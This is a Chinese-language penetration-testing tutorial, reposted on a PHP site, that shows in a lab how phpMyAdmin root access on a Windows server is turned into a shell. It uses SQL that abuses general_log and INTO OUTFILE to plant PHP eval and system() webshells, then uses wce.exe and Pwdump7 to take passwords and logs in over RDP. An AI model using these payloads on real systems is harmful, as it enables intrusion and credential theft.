首頁  >  文章  >  資料庫  >  關於phpMyadmin提權那些事

關於phpMyadmin提權那些事

藏色散人
藏色散人轉載
2021-01-11 15:04:442684瀏覽

下面由phpmyadmin教學欄位來介紹關於phpMyadmin來決定那些事,希望對需要的朋友有幫助!

關於phpMyadmin提權那些事

引言:在滲透測試過程中獲知到phpMyadmin的帳號密碼,如何進行提權呢?往下看,我今天跟你說說phpMyadmin提權那些事。

0×00 定義

        phpMyAdmin 是一個以PHP為基礎,以Web-Base方式架構在網站主機上的MySQL的資料庫管理工具,讓管理者可用Web介面管理MySQL資料庫。

0×01 環境準備

目标: Windows Server 2003 Enterprise x64 Edition    192.168.17.137攻击机: window7 192.168.17.132Php:5.45Mysql: 5.5.53Apache: 2.4

#0×02  開始滲透

我們經過弱口令,爆破,目錄洩露等途徑已經獲知PhpMyadmin的帳號密碼是root  root。接下來我們就透過phpMyadmin來提權,盡量貼近真實,多講思路。

a 收集有用資訊

關於phpMyadmin提權那些事關於phpMyadmin提權那些事

#如上圖所示,我們可以取得以下有用資訊。

  • 1.作業系統是windows server 2003 x86
  • 2.伺服器是Apache 2.4.32
  • 3.網站預設路徑是E:\phpStudy\PHPTutorial \WWW
  • 4.PHP版本是5.45
  • 5.mysql版本是5.5.53

b  偵測插入條件

在上面我們已經獲知了網站預設的路徑是E:\phpstudy\PHPTutorial\WWW,這時候我們一定想插入一句話後門檔案或是匯出shell。那如果我們需要使用上述兩種思路中的一種必須滿足一個前提條件「secure_file_priv」對應的值不能為空且必須為預設網站的路徑,所以我們必須事先偵測一下「secure_file_priv」的值。

phpMyadmin執行下列指令:

SHOW VARIABLES LIKE “secure_file_priv”;

结果如图所示:

關於phpMyadmin提權那些事

从上图得知值为空,如果我们这时导入一句话,肯定会失败的,不信啊,那我们试试。

關於phpMyadmin提權那些事

报错The MySQL server is running with the –secure-file-priv option so it cannot execute this statement,这是因为mysql对通过文件导入导出作了限制,默认不允许。默认value值为null,则为禁止,如果有文件夹目录,则只允许改目录下文件(测试子目录也不行)。我们思考一下看看能否设置其的路径为我们的默认网站路径,这样我们就可以导入一句话后门了。那我们试试吧。

關於phpMyadmin提權那些事

从图得知这个变量是一个只读变量无法动态更改,那应该是只能从配置文件中更改了。到这里发现陷入了一个胡同,那常规方式不行,我们可以去使用一些骚思路,利用log日志文件插入一句话。

c 转换思路

我们首先需要检测的是MySQL全局变量(general_log、general_log file)的值。

  1. general log 指的是日志保存状态,一共有两个值(ON/OFF)ON代表开启 OFF代表关闭。
  2. general log file 指的是日志的保存路径。

關於phpMyadmin提權那些事

从图得知general_log默认是关闭的,log日志存放的位置是E:\phpStudy\PHPTutorial\MySQL\data\。

首先我们来理解一下开启general_log 的作用,开启它可以记录用户输入的每条命令,会把其保存在E:\phpstudy\PHPTutorial\MySQL\data\下的一个log文件中,其实就是我们常说的日志文件。好,我们的利用的思路是开启general_log之后把general_log_file的值修改为我们网站默认路径下一个自定义的php文件中,然后我们通过log日志进行写入一句话后门到上面去,然后再进一步利用。

具体命令是:

set global general_log = "ON";SET global general_log_file='E:/phpStudy/PHPTutorial/WWW/infos.php';

關於phpMyadmin提權那些事

關於phpMyadmin提權那些事


緊接著我們可以看到在網站根路徑下找到我們產生的偽日記檔案infos.php。

關於phpMyadmin提權那些事

然後我們就得插入我們的一句話後門了。

select '';

關於phpMyadmin提權那些事

我們可以嘗試使用菜刀連接,成功連接。

關於phpMyadmin提權那些事

d 取得管理員密碼

#0×00 直接取得明文

我們上傳wce.exe取得明文密碼。運氣賊好,直接取得到明文(11位元字母和數字混合的密碼)。如果不能直接取得明文就得走第二條取得hash值然後解密了。

關於phpMyadmin提權那些事

0×01 取得hash值

#上傳Pwdump7.exe取得hash值儲存到password.txt檔案中。取得hash值可以選擇在線http://www.objectif-securite.ch/en/ophcrack.php跑,跑不出來就用Ophcrack導入彩虹表跑吧。

關於phpMyadmin提權那些事

關於phpMyadmin提權那些事


e 查看3389是否開啟

直接在菜刀終端輸入「netstat -an | find “3389″ 或「netstat -an 」。

關於phpMyadmin提權那些事

#發現3389沒開,但是3390就開了,我們嘗試連接一下。

f  登陸伺服器

運行mstsc開啟遠端桌面。

關於phpMyadmin提權那些事

關於phpMyadmin提權那些事


#輸入上面取得到的帳號和密碼,成功登陸。
關於phpMyadmin提權那些事

最後一定是要清楚痕跡的,但我這裡就不寫了,寫的內容也是賊多了

0×03 擴充

上面示範了secure_file_priv值為空的情況,那麼如果secure_file_priv不為空那我們該怎麼辦?

a 配置my.ini檔案(不對應網站根路徑)關於phpMyadmin提權那些事

開啟mysq的設定檔my.ini,對secure_file_priv的值進行設置,然後重啟mysql。關於phpMyadmin提權那些事

secure_file_priv =  」E:/phpStudy/PHPTutorial/MYSQL/”

###########################

尝试改变值,发现只是可读,不能写,那种情况无法写入我们的一句话,因为其限制了导出路径,无法把一句话写入之后导出到我们的网站根目录。

關於phpMyadmin提權那些事

關於phpMyadmin提權那些事



b 配置my.ini文件(对应网站根路径)

打开mysq的配置文件my.ini,对secure_file_priv的值进行设置,然后重启mysql。

secure_file_priv =  ”E:/phpStudy/PHPTutorial/WWW/”

關於phpMyadmin提權那些事

然后我们尝试插入一句话后门,成功插入。

關於phpMyadmin提權那些事

二话不说菜刀连接。

關於phpMyadmin提權那些事

關於phpMyadmin提權那些事


当然一句话还可以这样插入。

CREATE TABLE `mysql`.`informationes` (`inform` TEXT NOT NULL);INSERT INTO `mysql`.`informationes` (`inform`) VALUES ('<?php  @eval($_POST[pass]);?>');SELECT `inform` from `mysql`.`informationes` into outfile 'e:/phpStudy/PHPTutorial/WWW/infos.php';DROP table if exists `mysql`.`informationes`;(注意: c:/phpStudy/PHPTutorial/WWW/为网站的绝对路径)

c 导出具有命令权限的Shell的php文件

select ‘\’;system($_POST[\'yumu\']);echo \’\’;?>’ into outfile ‘c:/phpStudy/PHPTutorial/WWW/test.php’;

關於phpMyadmin提權那些事

關於phpMyadmin提權那些事

0×04 總結

本文中的環境是除了沒上waf其他都是盡可能貼近真實環境,模擬真實的環境給大家分析思路,希望大家有所收穫。

以上是關於phpMyadmin提權那些事的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述:
本文轉載於:csdn.net。如有侵權,請聯絡admin@php.cn刪除